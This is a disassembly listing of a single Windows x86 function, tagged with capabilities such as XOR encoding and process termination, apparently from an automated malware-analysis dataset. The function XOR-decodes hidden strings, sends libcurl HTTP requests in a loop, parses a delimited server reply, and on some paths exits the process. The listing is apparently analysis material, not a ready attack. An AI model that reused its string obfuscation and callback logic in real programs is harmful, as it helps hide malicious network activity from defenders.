Function at 0x40b3b0
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x456e5c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x338
mov eax, dword [0x46b040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebx + 8]
mov dword [ebp - 0x308], eax
lea eax, [ebp - 0x2c8]
push eax
call fcn.0040c2c0
mov dword [ebp - 0x334], eax
cmp dword [eax + 0x14], 0xf
jbe 0x40b41c
mov eax, dword [eax]
mov dword [ebp - 0x334], eax
cmp dword [esi + 0x2c], 0xf
lea eax, [esi + 0x18]
mov dword [ebp - 0x314], eax
jbe 0x40b433
mov eax, dword [eax]
mov dword [ebp - 0x314], eax
cmp dword [esi + 0x5c], 0xf
lea eax, [esi + 0x48]
mov dword [ebp - 0x310], eax
jbe 0x40b44a
mov eax, dword [eax]
mov dword [ebp - 0x310], eax
cmp dword [esi + 0x14], 0xf
mov dword [ebp - 0x30c], esi
jbe 0x40b45e
mov eax, dword [esi]
mov dword [ebp - 0x30c], eax
cmp dword [esi + 0x44], 0xf
lea eax, [esi + 0x30]
mov ecx, 0x12
mov dword [ebp - 0x304], eax
mov esi, 0x45e038
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
jbe 0x40b487
mov eax, dword [eax]
mov dword [ebp - 0x304], eax
xor edx, edx
cmp dword [0x52d844], 2
mov dword [ebp - 0x300], edx
jl 0x40b5e0
movaps xmm0, xmmword [str.333333333333333344444444444444449999999999999999]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x465c30]
movaps xmm3, xmmword [0x465dd0]
movaps xmm5, xmmword [0x465c70]
movaps xmmword [ebp - 0x330], xmm0
mov ecx, dword [ebp - 0x330]
nop dword [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x6c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x6c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x68]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x68], xmm1
add eax, 8
cmp eax, 0x4c
jl 0x40b4d0
mov dword [ebp - 0x300], edx
cmp edx, 0x4b
jge 0x40b61a
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x300]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x300]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x68], cl
inc edx
mov dword [ebp - 0x300], edx
cmp edx, 0x4b
jl 0x40b5e0
push dword [ebp - 0x334]
lea eax, [ebp - 0x68]
push dword [ebp - 0x314]
push dword [ebx + 0xc]
push dword [ebp - 0x310]
push dword [ebp - 0x30c]
push dword [ebp - 0x304]
push eax
lea eax, [ebp - 0x298]
push eax
call fcn.004138c0
mov ecx, dword [ebp - 0x2b4]
add esp, 0x20
cmp ecx, 0xf
jbe 0x40b68a
mov edx, dword [ebp - 0x2c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b680
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b680
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00455883
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x2a0], 0
movups xmmword [ebp - 0x2b0], xmm0
mov dword [ebp - 0x29c], 0xf
mov byte [ebp - 0x2b0], 0
lea ecx, [ebp - 0x340]
mov dword [ebp - 4], 0
call fcn.00454970
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x340]
mov ecx, dword [ebp - 0x33c]
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x310], ecx
cmp eax, ecx
je 0x40bbb4
mov edi, dword [sym.imp.libcurl.dll_curl_easy_setopt]
nop dword [eax + eax]
push eax
lea ecx, [ebp - 0x2c8]
call fcn.004126c0
mov byte [ebp - 4], 2
call dword [sym.imp.libcurl.dll_curl_easy_init]
mov esi, eax
test esi, esi
je 0x40bb5b
push 0x78
push 0xd
push esi
call edi
push 0
push 0x40
push esi
call edi
push 2
push 0x51
push esi
call edi
lea eax, [ebp - 0x298]
push eax
push 0x271f
push esi
call edi
push 1
push 0x2f
push esi
call edi
push 0x453e20
push 0x4e2b
push esi
call edi
add esp, 0x48
lea eax, [ebp - 0x2b0]
push eax
push 0x2711
push esi
call edi
movups xmm0, xmmword [0x45e0d8]
add esp, 0xc
lea eax, [ebp - 0x2c8]
cmp dword [ebp - 0x2b4], 0xf
movups xmmword [ebp - 0x2f0], xmm0
cmova eax, dword [ebp - 0x2c8]
cmp byte [0x45e0eb], 0
mov dword [ebp - 0x304], eax
mov eax, dword [0x45e0e8]
mov dword [ebp - 0x2e0], eax
je 0x40b93d
xor edx, edx
cmp dword [0x52d844], 2
mov dword [ebp - 0x300], edx
jl 0x40b900
movaps xmm0, xmmword [str.333333333333333344444444444444449999999999999999]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x465c30]
movaps xmm3, xmmword [0x465dd0]
movaps xmm5, xmmword [0x465c70]
movaps xmmword [ebp - 0x330], xmm0
mov ecx, dword [ebp - 0x330]
nop
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2f4]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x2f4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2f0]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x2f0], xmm1
add eax, 8
cmp eax, 0x14
jl 0x40b7e0
mov dword [ebp - 0x300], edx
cmp edx, 0x14
jge 0x40b93d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x300]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x300]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x2f0], cl
inc edx
mov dword [ebp - 0x300], edx
cmp edx, 0x14
jl 0x40b900
push dword [ebp - 0x304]
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.00413890
lea eax, [ebp - 0x98]
push eax
push 0x2712
push esi
call edi
movups xmm0, xmmword [0x45e154]
add esp, 0x18
lea edx, [ebp - 0x2c8]
cmp dword [ebp - 0x2b4], 0xf
movups xmmword [ebp - 0x2fc], xmm0
mov dword [ebp - 0x304], edx
movups xmm0, xmmword [0x45e164]
movups xmmword [ebp - 0x2ec], xmm0
jbe 0x40b9a5
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x304], eax
mov al, byte [0x45e174]
xor ecx, ecx
cmp dword [0x52d844], 2
mov byte [ebp - 0x2dc], al
jl 0x40bb00
movaps xmm0, xmmword [str.333333333333333344444444444444449999999999999999]
lea eax, [ecx + 4]
movaps xmm4, xmmword [0x465c30]
movaps xmm3, xmmword [0x465dd0]
movaps xmm5, xmmword [0x465c70]
movaps xmmword [ebp - 0x330], xmm0
mov edx, dword [ebp - 0x330]
nop dword [eax + eax]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x300]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x300], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2fc]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x2fc], xmm1
add eax, 8
cmp eax, 0x24
jl 0x40b9f0
cmp ecx, 0x21
jge 0x40bb2d
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
imul eax, eax, 0x39
sub dl, al
add dl, 0x33
xor byte [ebp + ecx - 0x2fc], dl
inc ecx
cmp ecx, 0x21
jl 0x40bb00
push dword [ebp - 0x304]
lea eax, [ebp - 0x2fc]
push eax
call fcn.00404ec0
push esi
call dword [sym.imp.libcurl.dll_curl_easy_perform]
add esp, 0xc
test eax, eax
je 0x40bdbb
push esi
call dword [sym.imp.libcurl.dll_curl_easy_cleanup]
add esp, 4
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x2b4]
cmp ecx, 0xf
jbe 0x40bb99
mov edx, dword [ebp - 0x2c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bb8f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b67a
push ecx
push edx
call fcn.00455883
add esp, 8
mov eax, dword [ebp - 0x30c]
add eax, 0x18
mov dword [ebp - 0x30c], eax
cmp eax, dword [ebp - 0x310]
jne 0x40b6f0
lea ecx, [ebp - 0x340]
call fcn.004128b0
movups xmm0, xmmword [0x45e0ec]
xor edx, edx
cmp dword [0x52d844], 2
mov dword [ebp - 0x300], edx
movups xmmword [ebp - 0x2d8], xmm0
movups xmm0, xmmword [0x45e0fc]
movups xmmword [ebp - 0x2c8], xmm0
movq xmm0, qword [0x45e10c]
movq qword [ebp - 0x2b8], xmm0
jl 0x40bd50
movaps xmm0, xmmword [str.333333333333333344444444444444449999999999999999]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x465c30]
movaps xmm3, xmmword [0x465dd0]
movaps xmm5, xmmword [0x465c70]
movaps xmmword [ebp - 0x330], xmm0
mov ecx, dword [ebp - 0x330]
nop dword [eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2dc]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x2dc], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2d8]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x2d8], xmm1
add eax, 8
cmp eax, 0x2c
jl 0x40bc30
mov dword [ebp - 0x300], edx
cmp edx, 0x28
jge 0x40bd8d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x300]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x300]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x2d8], cl
inc edx
mov dword [ebp - 0x300], edx
cmp edx, 0x28
jl 0x40bd50
lea eax, [ebp - 0x2d8]
push eax
call fcn.00404ec0
mov ecx, dword [ebp - 0x308]
add esp, 4
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
jmp 0x40c255
cmp dword [ebp - 0x2a0], 0
jne 0x40bf81
lea eax, [ebp - 0x2f0]
push eax
call fcn.0040c2a0
mov edi, eax
cmp byte [edi + 0x13], 0
je 0x40bf65
xor ecx, ecx
cmp dword [0x52d844], 2
mov dword [ebp - 0x308], ecx
jl 0x40bf30
movaps xmm0, xmmword [str.333333333333333344444444444444449999999999999999]
lea eax, [ecx + 4]
movaps xmm4, xmmword [0x465c30]
movaps xmm3, xmmword [0x465dd0]
movaps xmm5, xmmword [0x465c70]
movaps xmmword [ebp - 0x330], xmm0
mov edx, dword [ebp - 0x330]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [eax + edi - 4]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [eax + edi - 4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x465cc0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [eax + edi]
xorps xmm1, xmm0
movd dword [eax + edi], xmm1
add eax, 8
cmp eax, 0x14
jl 0x40be21
mov dword [ebp - 0x308], ecx
cmp ecx, 0x14
jge 0x40bf65
nop dword [eax]
mov eax, 0x8fb823ef
lea esi, [ecx + edi]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x33
xor byte [esi], cl
mov ecx, dword [ebp - 0x308]
inc ecx
mov dword [ebp - 0x308], ecx
cmp ecx, 0x14
jl 0x40bf30
push edi
call fcn.00404ec0
add esp, 4
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
sub esp, 0x18
xorps xmm0, xmm0
mov eax, esp
mov dword [ebp - 0x304], esp
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 8
mov dword [eax + 0x14], 0xf
movq xmm0, qword [str._WS_SEP_]
movq qword [eax], xmm0
mov byte [eax + 8], 0
sub esp, 0x18
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2b0]
mov ecx, esp
push eax
call fcn.004126c0
lea ecx, [ebp - 0x32c]
mov byte [ebp - 4], 2
call fcn.004111f0
add esp, 0x30
mov byte [ebp - 4], 4
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x328]
sub ecx, dword [ebp - 0x32c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 2
jne 0x40c195
mov eax, dword [ebp - 0x32c]
mov edi, dword [ebp - 0x2a0]
sub edi, dword [eax + 0x10]
add edi, 8
push edi
call fcn.00455be5
mov ecx, eax
add esp, 4
mov eax, dword [ebp - 0x32c]
add eax, 0x18
mov dword [ebp - 0x310], ecx
cmp dword [eax + 0x14], 0xf
jbe 0x40c035
mov eax, dword [eax]
push edi
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
push esi
call dword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov esi, dword [ebp - 0x32c]
add esp, 0x10
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 0xf
mov dword [ebp - 0x30c], eax
jbe 0x40c061
mov esi, dword [esi]
mov dword [eax], 0
lea eax, [ebp - 0x304]
push 0xa
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
mov dword [ebp - 0x314], eax
cmp esi, dword [ebp - 0x304]
jne 0x40c093
push str.invalid_stoi_argument
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__]
mov eax, dword [ebp - 0x30c]
cmp dword [eax], 0x22
jne 0x40c0a9
push str.stoi_argument_out_of_range
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__]
mov ecx, dword [ebp - 0x310]
mov edx, edi
call fcn.00453ef0
mov edx, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x314]
mov dword [edx], ecx
lea ecx, [ebp - 0x32c]
mov dword [edx + 4], edi
mov dword [edx + 8], eax
call fcn.004128b0
mov ecx, dword [ebp - 0x2b4]
cmp ecx, 0xf
jbe 0x40c10f
mov edx, dword [ebp - 0x2c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c105
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c28d
push ecx
push edx
call fcn.00455883
add esp, 8
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x2b8], 0
mov dword [ebp - 0x2b4], 0xf
mov byte [ebp - 0x2c8], 0
call fcn.004128b0
mov ecx, dword [ebp - 0x29c]
cmp ecx, 0xf
jbe 0x40c16f
mov edx, dword [ebp - 0x2b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c165
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c28d
push ecx
push edx
call fcn.00455883
add esp, 8
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00455723
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8
push dword [ebp - 0x2a0]
call fcn.00455be5
cmp dword [ebp - 0x29c], 0xf
mov edi, eax
push dword [ebp - 0x2a0]
lea eax, [ebp - 0x2b0]
cmova eax, dword [ebp - 0x2b0]
push eax
push edi
call sub.VCRUNTIME140.dll_memcpy
push esi
call dword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov esi, dword [ebp - 0x2a0]
add esp, 0x14
mov edx, esi
mov ecx, edi
call fcn.00453ef0
mov ecx, dword [ebp - 0x308]
mov dword [ecx], 0
mov dword [ecx + 4], esi
mov dword [ecx + 8], eax
lea ecx, [ebp - 0x32c]
call fcn.004128b0
mov ecx, dword [ebp - 0x2b4]
cmp ecx, 0xf
jbe 0x40c22f
mov edx, dword [ebp - 0x2c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c225
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c28d
push ecx
push edx
call fcn.00455883
add esp, 8
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x2b8], 0
mov dword [ebp - 0x2b4], 0xf
mov byte [ebp - 0x2c8], 0
call fcn.004128b0
mov ecx, dword [ebp - 0x29c]
cmp ecx, 0xf
jbe 0x40c16f
mov edx, dword [ebp - 0x2b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c165
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40c165
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3